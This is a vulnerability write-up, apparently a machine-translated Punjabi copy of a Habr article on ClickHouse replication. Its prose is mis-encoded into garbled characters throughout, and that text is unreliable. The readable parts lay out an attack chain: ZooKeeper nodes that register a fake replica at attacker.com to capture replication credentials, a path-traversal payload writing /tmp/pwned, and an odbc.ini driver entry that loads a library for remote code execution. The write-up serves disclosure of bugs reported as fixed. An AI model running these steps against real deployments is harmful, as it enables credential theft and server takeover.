เจเจน เจฒเฉเจ เจเจฒเจฟเจเจนเจพเจเจธ เจฐเฉเจชเจฒเฉเจเฉเจธเจผเจจ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจตเจฟเฉฑเจ เจเฉฑเจ เจฌเจนเฉเจค เจนเฉ เจเจพเจธ เจเจฎเจเจผเฉเจฐเฉ เจฆเฉ เจเจนเจพเจฃเฉ เจฆเฉฑเจธเฉเจเจพ, เจ เจคเฉ เจเจน เจตเฉ เจฆเจฐเจธเจพเจเจเจพ เจเจฟ เจนเจฎเจฒเฉ เจฆเฉ เจธเจคเจน เจจเฉเฉฐ เจเจฟเจตเฉเจ เจซเฉเจฒเจพเจเจ เจเจพ เจธเจเจฆเจพ เจนเฉเฅค
เจเจฒเจฟเจเจนเจพเจเจธ เจกเฉเจเจพ เจฆเฉ เจตเฉฑเจกเฉ เจฎเจพเจคเจฐเจพ เจจเฉเฉฐ เจธเจเฉเจฐ เจเจฐเจจ เจฒเจ เจเฉฑเจ เจกเฉเจเจพเจฌเฉเจธ เจนเฉ, เจ
เจเจธเจฐ เจเฉฑเจ เจคเฉเจ เจตเฉฑเจง เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉเจเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจนเฉเจเฅค เจเจฒเจฟเจเจนเจพเจเจธ เจตเจฟเฉฑเจ เจเจฒเฉฑเจธเจเจฐเจฟเฉฐเจ เจ
เจคเฉ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจธเจฟเจเจฐ 'เจคเฉ เจฌเจฃเฉ เจนเฉเจ เจนเจจ
เจกเจฟเจซเฉเจฒเจ ZK เจเฉฐเจธเจเจพเจฒเฉเจธเจผเจจ เจฒเจ เจชเฉเจฐเจฎเจพเจฃเจฟเจเจคเจพ เจฆเฉ เจฒเฉเฉ เจจเจนเฉเจ เจนเฉเฉฐเจฆเฉ เจนเฉ, เจเจธเจฒเจ เจเจพเจซเจเจพ, เจนเจกเฉเจช, เจเจฒเจฟเจเจนเจพเจเจธ เจจเฉเฉฐ เจเฉเจเจซเจฟเจเจฐ เจเจฐเจจ เจฒเจ เจตเจฐเจคเฉ เจเจพเจเจฆเฉ เจนเจเจผเจพเจฐเจพเจ ZK เจธเจฐเจตเจฐ เจเจจเจคเจ เจคเฉเจฐ 'เจคเฉ เจเจชเจฒเจฌเจง เจนเจจเฅค
เจเจชเจฃเฉ เจนเจฎเจฒเฉ เจฆเฉ เจธเจคเจน เจจเฉเฉฐ เจเจเจพเจเจฃ เจฒเจ, เจคเฉเจนเจพเจจเฉเฉฐ ZooKeeper เจจเฉเฉฐ เจธเจฅเจพเจชเจค เจเจฐเจจ เจตเฉเจฒเฉ เจนเจฎเฉเจธเจผเจพเจ เจชเฉเจฐเจฎเจพเจฃเจฟเจเจคเจพ เจ เจคเฉ เจชเฉเจฐเจฎเจพเจฃเจฟเจเจคเจพ เจจเฉเฉฐ เจเฉเจเจซเจฟเจเจฐ เจเจฐเจจเจพ เจเจพเจนเฉเจฆเจพ เจนเฉ
เจฌเฉเจธเจผเฉฑเจ เจเฉเจ 0-เจฆเจฟเจจ เจ เจงเจพเจฐเจค เจเจพเจตเจพ เจกเฉเจธเฉเจฐเฉเจ เจฒเจพเจเจเจผเฉเจธเจผเจจ เจนเจจ, เจชเจฐ เจเจฒเจชเจจเจพ เจเจฐเฉ เจเจฟ เจเฉฑเจ เจนเจฎเจฒเจพเจตเจฐ เจเจผเฉเจเฉเจชเจฐ เจจเฉเฉฐ เจชเฉเฉเจน เจ เจคเฉ เจฒเจฟเจ เจธเจเจฆเจพ เจนเฉ, เจเจฒเจฟเจเจนเจพเจเจธ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฒเจ เจตเจฐเจคเจฟเจ เจเจพเจเจฆเจพ เจนเฉเฅค
เจเจฆเฉเจ เจเจฒเฉฑเจธเจเจฐ เจฎเฉเจก เจตเจฟเฉฑเจ เจธเฉฐเจฐเจเจฟเจค เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ, เจคเจพเจ เจเจฒเจฟเจเจนเจพเจเจธ เจตเฉฐเจกเฉเจเจ เจเจเจเจ เจชเฉเฉฑเจเจเจฟเฉฑเจเจพเจ เจฆเจพ เจธเจฎเจฐเจฅเจจ เจเจฐเจฆเจพ เจนเฉ /clickhouse/task_queue/ddl
.
เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจคเฉเจธเฉเจ เจเฉฑเจ เจจเฉเจก เจฌเจฃเจพเจเจเจฆเฉ เจนเฉ /clickhouse/task_queue/ddl/query-0001
เจธเจฎเฉฑเจเจฐเฉ เจฆเฉ เจจเจพเจฒ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
เจ เจคเฉ เจเจธ เจคเฉเจ เจฌเจพเจ เจฆ, เจเฉเจธเจ เจเฉเจฌเจฒ เจจเฉเฉฐ เจเจฒเฉฑเจธเจเจฐ เจธเจฐเจตเจฐ host1 เจ เจคเฉ host2 เจคเฉเจ เจฎเจฟเจเจพ เจฆเจฟเฉฑเจคเจพ เจเจพเจตเฉเจเจพเฅค DDL CREATE/ALTER/DROP เจชเฉเฉฑเจเจเจฟเฉฑเจเจพเจ เจจเฉเฉฐ เจเจฒเจพเจเจฃ เจฆเจพ เจตเฉ เจธเจฎเจฐเจฅเจจ เจเจฐเจฆเจพ เจนเฉเฅค
เจกเจฐเจพเจเจฃเฉ เจเจตเจพเจเจผ? เจชเจฐ เจเฉฑเจ เจนเจฎเจฒเจพเจตเจฐ เจจเฉเฉฐ เจธเจฐเจตเจฐ เจชเจคเฉ เจเจฟเฉฑเจฅเฉเจ เจฎเจฟเจฒ เจธเจเจฆเฉ เจนเจจ?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
เจจเฉเจก เจฌเจฃเจพเจ เจเจพเจฃเจเฉ เจเจพเจฒเจฎ ะธ เจฎเฉเจเจพเจกเฉเจเจพ.
เจธเจฎเฉฑเจเจฐเฉ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เจเฉ เจเจธ เจเจฒเฉฑเจธเจเจฐ เจคเฉเจ เจกเฉเจเจพ เจจเฉเฉฐ เจฎเจฟเจฒเจพเจเจฃเจพ เจธเฉฐเจญเจต เจนเฉ? เจนเจพเจ, เจเฉเจเจฐ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจชเฉเจฐเจ (TCP/9009
) เจธเจฐเจตเจฐ 'เจคเฉ chXX-address
เจซเจพเจเจฐเจตเจพเจฒ เจจเฉเฉฐ เจฌเฉฐเจฆ เจจเจนเฉเจ เจเฉเจคเจพ เจเจพเจตเฉเจเจพ เจ
เจคเฉ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฒเจ เจชเฉเจฐเจฎเจพเจฃเจฟเจเจคเจพ เจจเฉเฉฐ เจธเฉฐเจฐเจเจฟเจค เจจเจนเฉเจ เจเฉเจคเจพ เจเจพเจตเฉเจเจพเฅค เจชเฉเจฐเจฎเจพเจฃเจฟเจเจคเจพ เจจเฉเฉฐ เจฌเจพเจเจชเจพเจธ เจเจฟเจตเฉเจ เจเจฐเฉเจ?
เจเฉฑเจ เจนเจฎเจฒเจพเจตเจฐ เจธเจฟเจฐเจซเจผ เจธเจฎเฉฑเจเจฐเฉ เจฆเฉ เจจเจเจฒ เจเจฐเจเฉ ZK เจตเจฟเฉฑเจ เจเฉฑเจ เจจเจตเฉเจ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฌเจฃเจพ เจธเจเจฆเจพ เจนเฉ /clickhouse/tables/01-01/foobar/replicas/chXX
เจ
เจคเฉ เจ
เจฐเจฅ เจฌเจฆเจฒ เจฐเจฟเจนเจพ เจนเฉ host
.
เจธเจฎเฉฑเจเจฐเฉ /clickhouse/tables/01โ01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เจซเจฟเจฐ เจคเฉเจนเจพเจจเฉเฉฐ เจฆเฉเจเฉ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉเจเจ เจจเฉเฉฐ เจเจน เจฆเฉฑเจธเจฃ เจฆเฉ เจเจผเจฐเฉเจฐเจค เจนเฉ เจเจฟ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ เจธเจฐเจตเจฐ 'เจคเฉ เจกเฉเจเจพ เจฆเจพ เจเฉฑเจ เจจเจตเจพเจ เจฌเจฒเจพเจ เจนเฉ เจเฉ เจเจจเฉเจนเจพเจ เจจเฉเฉฐ เจฒเฉเจฃ เจฆเฉ เจเจผเจฐเฉเจฐเจค เจนเฉ - ZK เจตเจฟเฉฑเจ เจเฉฑเจ เจจเฉเจก เจฌเจฃเจพเจเจ เจเจฟเจ เจนเฉ /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX เจฎเฉเจจเฉเจเฉเจจเจฟเจ เจคเฉเจฐ 'เจคเฉ เจตเจงเจฃ เจตเจพเจฒเจพ เจเจพเจเจเจเจฐ, เจเฉ เจเจฟ เจเจตเฉเจเจ เจฒเฉเจ เจตเจฟเฉฑเจ เจชเจฟเจเจฒเฉ เจเฉฑเจ เจคเฉเจ เจตเฉฑเจง เจนเฉเจฃเจพ เจเจพเจนเฉเจฆเจพ เจนเฉ):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
เจเจฟเฉฑเจฅเฉ source_replica - เจชเจฟเจเจฒเฉ เจชเฉเจพเจ
เจตเจฟเฉฑเจ เจฌเจฃเจพเจ เจเจ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฆเจพ เจจเจพเจฎ, เจฌเจฒเจพเจ_เจเจเจกเฉ - เจกเจพเจเจพ เจฌเจฒเจพเจ เจชเจเจพเจฃเจเจฐเจคเจพ, เจชเฉเจฐเจพเจชเจค - "เจฌเจฒเจพเจ เจชเฉเจฐเจพเจชเจค เจเจฐเฉ" เจเจฎเจพเจเจก (เจ
เจคเฉ
เจ
เฉฑเจเฉ, เจนเจฐเฉเจ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฒเฉเจ เจตเจฟเฉฑเจ เจเฉฑเจ เจจเจตเฉเจ เจเจตเฉเจเจ เจชเฉเฉเจนเจฆเฉ เจนเฉ เจ
เจคเฉ เจกเฉเจเจพ เจฆเจพ เจเฉฑเจ เจฌเจฒเจพเจ เจชเฉเจฐเจพเจชเจค เจเจฐเจจ เจฒเจ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉเจเจฐเจพ เจจเจฟเจฏเฉฐเจคเจฐเจฟเจค เจธเจฐเจตเจฐ เจคเฉ เจเจพเจเจฆเฉ เจนเฉ (เจฐเจฟเจชเจฒเฉเจเฉเจธเจผเจจ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจฌเจพเจเจจเจฐเฉ เจนเฉ, HTTP เจฆเฉ เจธเจฟเจเจฐ 'เจคเฉ เจเฉฑเจฒ เจฐเจฟเจนเจพ เจนเฉ)เฅค เจธเจฐเจตเจฐ attacker.com
เจฌเฉเจจเจคเฉเจเจ เจชเฉเจฐเจพเจชเจค เจเจฐเจจเจเฉ:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
เจเจฟเฉฑเจฅเฉ XXX เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฒเจ เจชเฉเจฐเจฎเจพเจฃเฉเจเจฐเจจ เจกเฉเจเจพ เจนเฉเฅค เจเฉเจ เจฎเจพเจฎเจฒเจฟเจเจ เจตเจฟเฉฑเจ, เจเจน เจฎเฉเฉฑเจ เจเจฒเจฟเจเจนเจพเจเจธ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจ เจคเฉ HTTP เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจฆเฉเจเจฐเจพ เจกเฉเจเจพเจฌเฉเจธ เจคเฉฑเจ เจชเจนเฉเฉฐเจ เจตเจพเจฒเจพ เจเจพเจคเจพ เจนเฉ เจธเจเจฆเจพ เจนเฉเฅค เจเจฟเจตเฉเจ เจเจฟ เจคเฉเจธเฉเจ เจฆเฉเจเจฟเจ เจนเฉ, เจนเจฎเจฒเฉ เจฆเฉ เจธเจคเฉเจนเจพ เจเฉฐเจญเฉเจฐ เจคเฉเจฐ 'เจคเฉ เจตเฉฑเจกเฉ เจนเฉ เจเจพเจเจฆเฉ เจนเฉ เจเจฟเจเจเจเจฟ เจเจผเฉเจเฉเจชเจฐ, เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจฒเจ เจตเจฐเจคเจฟเจ เจเจพเจเจฆเจพ เจนเฉ, เจชเฉเจฐเจฎเจพเจฃเจฟเจเจคเจพ เจจเฉเฉฐ เจธเฉฐเจฐเจเจฟเจค เจเฉเจคเฉ เจฌเจฟเจจเจพเจ เจเฉฑเจก เจฆเจฟเฉฑเจคเจพ เจเจฟเจ เจธเฉเฅค
เจเจ เจเฉฑเจ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจคเฉเจ เจกเฉเจเจพ เจฆเฉ เจเฉฑเจ เจฌเจฒเจพเจ เจชเฉเจฐเจพเจชเจค เจเจฐเจจ เจฆเฉ เจเจพเจฐเจ เจจเฉเฉฐ เจตเฉเจเฉเจ, เจเจน เจชเฉเจฐเฉ เจญเจฐเฉเจธเฉ เจจเจพเจฒ เจฒเจฟเจเจฟเจ เจเจฟเจ เจนเฉ เจเจฟ เจธเจพเจฐเฉเจเจ เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉเจเจ เจธเจนเฉ เจจเจฟเจฏเฉฐเจคเจฐเจฃ เจตเจฟเฉฑเจ เจนเจจ เจ เจคเฉ เจเจนเจจเจพเจ เจตเจฟเจเจเจพเจฐ เจตเจฟเจธเจผเจตเจพเจธ เจนเฉเฅค
เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจชเฉเจฐเฉเจธเฉเจธเจฟเฉฐเจ เจเฉเจก
เจซเฉฐเจเจธเจผเจจ เจซเจพเจเจฒเจพเจ เจฆเฉ เจธเฉเจเฉ เจชเฉเฉเจนเจฆเจพ เจนเฉ, เจซเจฟเจฐ เจเจนเจจเจพเจ เจฆเฉ เจจเจพเจฎ, เจเจเจพเจฐ, เจธเจฎเฉฑเจเจฐเฉ, เจ เจคเฉ เจซเจฟเจฐ เจเจนเจจเจพเจ เจจเฉเฉฐ เจซเจพเจเจฒ เจธเจฟเจธเจเจฎ เจคเฉ เจฒเจฟเจเจฆเจพ เจนเฉเฅค เจเจน เจตเฉฑเจเจฐเฉ เจคเฉเจฐ 'เจคเฉ เจตเจฐเจฃเจจ เจเจฐเจจ เจฏเฉเจ เจนเฉ เจเจฟ เจซเจพเจเจฒ เจธเจฟเจธเจเจฎ เจตเจฟเฉฑเจ เจกเฉเจเจพ เจเจฟเจตเฉเจ เจธเจเฉเจฐ เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ.
เจตเจฟเฉฑเจ เจเจ เจเจช-เจกเจพเจเจฐเฉเจเจเจฐเฉเจเจ เจนเจจ /var/lib/clickhouse
(เจธเฉฐเจฐเจเจจเจพ เจซเจพเจเจฒ เจคเฉเจ เจกเจฟเจซเจพเจฒเจ เจธเจเฉเจฐเฉเจเจผ เจกเจพเจเจฐเฉเจเจเจฐเฉ):
เจเฉฐเจกเฉ - เจฐเจฟเจเจพเจฐเจกเจฟเฉฐเจ เจฒเจ เจกเจพเจเจฐเฉเจเจเจฐเฉ
tmp - เจ
เจธเจฅเจพเจ เจซเจพเจเจฒเจพเจ เจจเฉเฉฐ เจธเจเฉเจฐ เจเจฐเจจ เจฒเจ เจกเจพเจเจฐเฉเจเจเจฐเฉ;
user_files โ เจฌเฉเจจเจคเฉเจเจ เจตเจฟเฉฑเจ เจซเจพเจเจฒเจพเจ เจฆเฉ เจจเจพเจฒ เจเจชเจฐเฉเจธเจผเจจ เจเจธ เจกเจพเจเจฐเฉเจเจเจฐเฉ เจคเฉฑเจ เจธเฉเจฎเจฟเจค เจนเจจ (INTO OUTFILE เจ
เจคเฉ เจนเฉเจฐ);
เจฎเฉเจเจพเจกเฉเจเจพ - เจธเจพเจฐเจฃเฉ เจฆเฉ เจตเจฐเจฃเจจ เจจเจพเจฒ sql เจซเจพเจเจฒเจพเจ;
preprocessed_configs - เจคเฉเจ เจชเฉเจฐเฉเจธเฉเจธเจก เจกเฉเจฐเฉเจตเฉเจเจฟเจต เจเฉเจเจซเจฟเจเจฐเฉเจธเจผเจจ เจซเจพเจเจฒเจพเจ /etc/clickhouse-server
;
เจกเจพเจเจพ - เจกเฉเจเจพ เจฆเฉ เจจเจพเจฒ เจ
เจธเจฒ เจกเจพเจเจฐเฉเจเจเจฐเฉ, เจเจธ เจธเจฅเจฟเจคเฉ เจตเจฟเฉฑเจ เจนเจฐเฉเจ เจกเฉเจเจพเจฌเฉเจธ เจฒเจ เจเฉฑเจ เจตเฉฑเจเจฐเฉ เจธเจฌ-เจกเจพเจเจฐเฉเจเจเจฐเฉ เจเฉฑเจฅเฉ เจฌเจฃเจพเจ เจเจ เจนเฉ (เจเจฆเจพเจนเจฐเจจ เจฒเจ /var/lib/clickhouse/data/default
).
เจนเจฐเฉเจ เจธเจพเจฐเจฃเฉ เจฒเจ, เจกเฉเจเจพเจฌเฉเจธ เจกเจพเจเจฐเฉเจเจเจฐเฉ เจตเจฟเฉฑเจ เจเฉฑเจ เจเจช-เจกเจพเจเจฐเฉเจเจเจฐเฉ เจฌเจฃเจพเจ เจเจพเจเจฆเฉ เจนเฉเฅค เจนเจฐเฉเจ เจเจพเจฒเจฎ 'เจคเฉ เจจเจฟเจฐเจญเจฐ เจเจฐเจฆเจฟเจเจ เจเฉฑเจ เจตเฉฑเจเจฐเฉ เจซเจพเจเจฒ เจนเฉ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
เจฐเจฟเจชเจฒเฉเจเจพ เจกเฉเจเจพ เจฆเฉ เจเฉฑเจ เจฌเจฒเจพเจ เจฆเฉ เจชเฉเจฐเจเจฟเจฐเจฟเจ เจเจฐเจฆเฉ เจธเจฎเฉเจ เจเฉฑเจเฉ เจจเจพเจฎ เจตเจพเจฒเฉเจเจ เจซเจพเจเจฒเจพเจ เจชเฉเจฐเจพเจชเจค เจเจฐเจจ เจฆเฉ เจเจฎเฉเจฆ เจเจฐเจฆเฉ เจนเฉ เจ เจคเฉ เจเจนเจจเจพเจ เจจเฉเฉฐ เจเจฟเจธเฉ เจตเฉ เจคเจฐเฉเจเฉ เจจเจพเจฒ เจชเฉเจฐเจฎเจพเจฃเจฟเจค เจจเจนเฉเจ เจเจฐเจฆเฉ เจนเฉเฅค
เจงเจฟเจเจจ เจฆเฉเจฃ เจตเจพเจฒเฉ เจชเจพเจ เจ เจจเฉ เจธเจผเจพเจเจฆ เจชเจนเจฟเจฒเจพเจ เจนเฉ เจเฉฑเจ เจซเฉฐเจเจธเจผเจจ เจตเจฟเฉฑเจ เจซเจพเจเจฒ_เจจเจพเจฎ เจฆเฉ เจ
เจธเฉเจฐเฉฑเจเจฟเจ
เจค เจเฉเฉ เจฌเจพเจฐเฉ เจธเฉเจฃเจฟเจ เจนเฉเจตเฉเจเจพ WriteBufferFromFile
. เจนเจพเจ, เจเจน เจนเจฎเจฒเจพเจตเจฐ เจจเฉเฉฐ เจเจชเจญเฉเจเจคเจพ เจ
เจงเจฟเจเจพเจฐเจพเจ เจฆเฉ เจจเจพเจฒ FS 'เจคเฉ เจเจฟเจธเฉ เจตเฉ เจซเจพเจเจฒ 'เจคเฉ เจฎเจจเจฎเจพเจจเฉ เจธเจฎเฉฑเจเจฐเฉ เจฒเจฟเจเจฃ เจฆเฉ เจเจเจฟเจ เจฆเจฟเฉฐเจฆเจพ เจนเฉ clickhouse
. เจ
เจเจฟเจนเจพ เจเจฐเจจ เจฒเจ, เจนเจฎเจฒเจพเจตเจฐ เจฆเฉเจเจฐเจพ เจจเจฟเจฏเฉฐเจคเจฐเจฟเจค เจชเฉเจฐเจคเฉเจเฉเจฐเจฟเจคเฉ เจจเฉเฉฐ เจฌเฉเจจเจคเฉ เจฆเจพ เจจเจฟเจฎเจจเจฒเจฟเจเจค เจเจตเจพเจฌ เจตเจพเจชเจธ เจเจฐเจจเจพ เจเจพเจนเฉเจฆเจพ เจนเฉ (เจธเจฎเจ เจฆเฉ เจธเฉเจ เจฒเจ เจฒเจพเจเจจ เจฌเฉเจฐเฉเจ เจธเจผเจพเจฎเจฒ เจเฉเจคเฉ เจเจ เจนเจจ):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
เจ
เจคเฉ เจเฉเฉเจจ เจคเฉเจ เจฌเจพเจ
เจฆ ../../../../../../../../../tmp/pwned
เจซเจพเจเจฒ เจฒเจฟเจเฉ เจเจพเจตเฉเจเฉ /tmp/pwned เจธเจฎเฉฑเจเจฐเฉ เจฆเฉ เจจเจพเจฒ เจนเฉเจฒเฉเจซเจฐเฉเจฎเจเจผเฉเจเฉเจชเจฐ.
เจซเจพเจเจฒ เจฒเจฟเจเจฃ เจฆเฉ เจธเจฎเจฐเฉฑเจฅเจพ เจจเฉเฉฐ เจฐเจฟเจฎเฉเจ เจเฉเจก เจเจเจเจผเฉเจเจฟเจเจธเจผเจจ (RCE) เจตเจฟเฉฑเจ เจฌเจฆเจฒเจฃ เจฒเจ เจเจ เจตเจฟเจเจฒเจช เจนเจจเฅค
RCE เจตเจฟเฉฑเจ เจฌเจพเจนเจฐเฉ เจธเจผเจฌเจฆเจเฉเจธเจผ
เจชเฉเจฐเจพเจฃเฉ เจธเฉฐเจธเจเจฐเจฃเจพเจ เจตเจฟเฉฑเจ, เจเจฒเจฟเจเจนเจพเจเจธ เจธเฉเจเจฟเฉฐเจเจพเจ เจตเจพเจฒเฉ เจกเจพเจเจฐเฉเจเจเจฐเฉ เจเจชเจญเฉเจเจคเจพ เจ
เจงเจฟเจเจพเจฐเจพเจ เจจเจพเจฒ เจธเจเฉเจฐ เจเฉเจคเฉ เจเจ เจธเฉ เจเจฒเจฟเฉฑเจเจนเจพเจเจธ เจกเจฟเจซเจพเจฒเจเฅค เจธเฉเจเจฟเฉฐเจเจพเจ เจซเจพเจเจฒเจพเจ XML เจซเจพเจเจฒเจพเจ เจนเฉเฉฐเจฆเฉเจเจ เจนเจจ เจเฉ เจธเฉเจตเจพ เจธเจผเฉเจฐเฉเจเจคเฉ เจธเจฎเฉเจ เจชเฉเฉเจนเจฆเฉ เจนเฉ เจ
เจคเฉ เจซเจฟเจฐ เจเฉเจ เจเจฐเจฆเฉ เจนเฉ /var/lib/clickhouse/preprocessed_configs
. เจเจฆเฉเจ เจคเจฌเจฆเฉเจฒเฉเจเจ เจเจเจเจฆเฉเจเจ เจนเจจ, เจคเจพเจ เจเจนเจจเจพเจ เจจเฉเฉฐ เจฆเฉเจฌเจพเจฐเจพ เจชเฉเฉเจนเจฟเจ เจเจพเจเจฆเจพ เจนเฉเฅค เจเฉเจเจฐ เจคเฉเจนเจพเจกเฉ เจเฉเจฒ เจชเจนเฉเฉฐเจ เจนเฉ /etc/clickhouse-server
เจนเจฎเจฒเจพเจตเจฐ เจเจชเจฃเจพ เจฌเจฃเจพ เจธเจเจฆเจพ เจนเฉ root
.
ODBC เจคเฉเจ RCE เจคเฉฑเจ
เจเฉฑเจ เจชเฉเจเฉเจ เจเฉฐเจธเจเจพเจฒ เจเจฐเจจ เจตเฉเจฒเฉ, เจเฉฑเจ เจเจชเจญเฉเจเจคเจพ เจฌเจฃเจพเจเจ เจเจพเจเจฆเจพ เจนเฉ clickhouse
, เจชเจฐ เจเจธเจฆเฉ เจนเฉเจฎ เจกเจพเจเจฐเฉเจเจเจฐเฉ เจจเจนเฉเจ เจฌเจฃเจพเจ เจเจ เจนเฉ /nonexistent
. เจนเจพเจฒเจพเจเจเจฟ, เจฌเจพเจนเจฐเฉ เจธเจผเจฌเจฆเจเฉเจธเจผเจพเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจธเจฎเฉเจ, เจเจพเจ เจนเฉเจฐ เจเจพเจฐเจจเจพเจ เจเจฐเจเฉ, เจชเฉเจฐเจฌเฉฐเจงเจ เจเฉฑเจ เจกเจพเจเจฐเฉเจเจเจฐเฉ เจฌเจฃเจพเจเจเจฆเฉ เจนเจจ /nonexistent
เจ
เจคเฉ เจเจชเจญเฉเจเจคเจพ เจจเฉเฉฐ เจฆเจฟเจ clickhouse
เจเจธ เจจเฉเฉฐ เจฒเจฟเจเจฃ เจฒเจ เจชเจนเฉเฉฐเจ (SSZB! เจฒเจเจญเจ เจ
เจจเฉเจตเจพเจฆเจ).
เจเจฒเจฟเจเจนเจพเจเจธ เจธเจชเฉเจฐเจ เจเจฐเจฆเจพ เจนเฉ odbc-bridge
, เจเจธเจฒเจ เจฌเฉเจจเจคเฉ เจคเฉเจ เจกเจฐเจพเจเจตเจฐ เจฎเจพเจฐเจ เจจเจฟเจฐเจงเจพเจฐเจค เจเจฐเจจเจพ เจนเฉเจฃ เจธเฉฐเจญเจต เจจเจนเฉเจ เจนเฉเฅค เจชเจฐ เจเฉ เจนเจฎเจฒเจพเจตเจฐ เจเฉฑเจชเจฐ เจฆเฉฑเจธเฉ เจเจ เจเจฎเจเจผเฉเจฐเฉ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจนเฉเจฎ เจกเจพเจเจฐเฉเจเจเจฐเฉ เจจเฉเฉฐ เจฒเจฟเจ เจธเจเจฆเจพ เจนเฉ?
เจเจฒเฉ เจเฉฑเจ เจซเจพเจเจฒ เจฌเจฃเจพเจเจ ~/.odbc.ini
เจเจธ เจคเจฐเฉเจนเจพเจ เจฆเฉ เจธเจฎเฉฑเจเจฐเฉ เจฆเฉ เจจเจพเจฒ:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
เจซเจฟเจฐ เจธเจผเฉเจฐเฉเจเจค 'เจคเฉ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
เจฒเจพเจเจฌเฉเจฐเฉเจฐเฉ เจจเฉเฉฐ เจฒเฉเจก เจเฉเจคเจพ เจเจพเจตเฉเจเจพ test.so
เจ
เจคเฉ RCE เจชเฉเจฐเจพเจชเจค เจเฉเจคเจพ (เจงเฉฐเจจเจตเจพเจฆ
เจเจน เจ เจคเฉ เจนเฉเจฐ เจเจฎเจเจผเฉเจฐเฉเจเจ เจจเฉเฉฐ ClickHouse เจธเฉฐเจธเจเจฐเจฃ 19.14.3 เจตเจฟเฉฑเจ เจนเฉฑเจฒ เจเฉเจคเจพ เจเจฟเจ เจนเฉเฅค เจเจชเจฃเฉ เจเจฒเจฟเจเจนเจพเจเจธ เจ เจคเฉ เจเจฟเฉเฉเจเจเจฐเจพเจ เจฆเจพ เจงเจฟเจเจจ เจฐเฉฑเจเฉ!
เจธเจฐเฉเจค: www.habr.com